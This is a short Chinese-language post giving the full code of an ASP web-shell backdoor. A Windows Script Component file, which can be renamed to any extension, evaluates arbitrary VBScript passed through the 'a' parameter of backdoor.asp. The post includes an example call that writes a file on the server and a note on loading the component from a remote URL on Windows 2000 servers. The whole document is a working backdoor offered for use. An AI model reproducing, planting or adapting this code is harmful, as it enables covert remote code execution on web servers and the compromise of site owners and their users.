ScriptCodingInfo.wsc代码如下，该文件可以改成任意后缀：

<?xml version="1.0" encoding="gb2312" standalone="yes"?>

<?component error="true" debug="true"?>

<package>

<component id="haiyangtop">

<public>
<method name="lcx"><parameter name="b"/></method>
</public>

<script language="VBScript"><![CDATA[

sub lcx(b)
   eval(b)
  
end sub

]]>
</script>

</component>
</package>

backdoor.asp内容如下：

<%
b=request("a")
Set fs = GetObject("script:d:/web/wwwroot/ScriptCodingInfo.wsc#haiyangtop")
fs.lcx(b)
%>

调用方法如下：http://url/backdoor.asp?a=CreateObject("Scripting.FileSystemObject").OpenTextFile("c:\1122.txt"),8,True,0).WriteLine("123")

注意这里的a=只能是vbs的代码，不可以接受像response、rquest之类的asp的东东。

如果是2000服务器可以在backdoor.asp远程调用ScriptCodingInfo.wsc，像

Set fs = GetObject("script:http://www.xx.com/ScriptCodingInfo.wsc#haiyangtop")，2003服务器中不可以。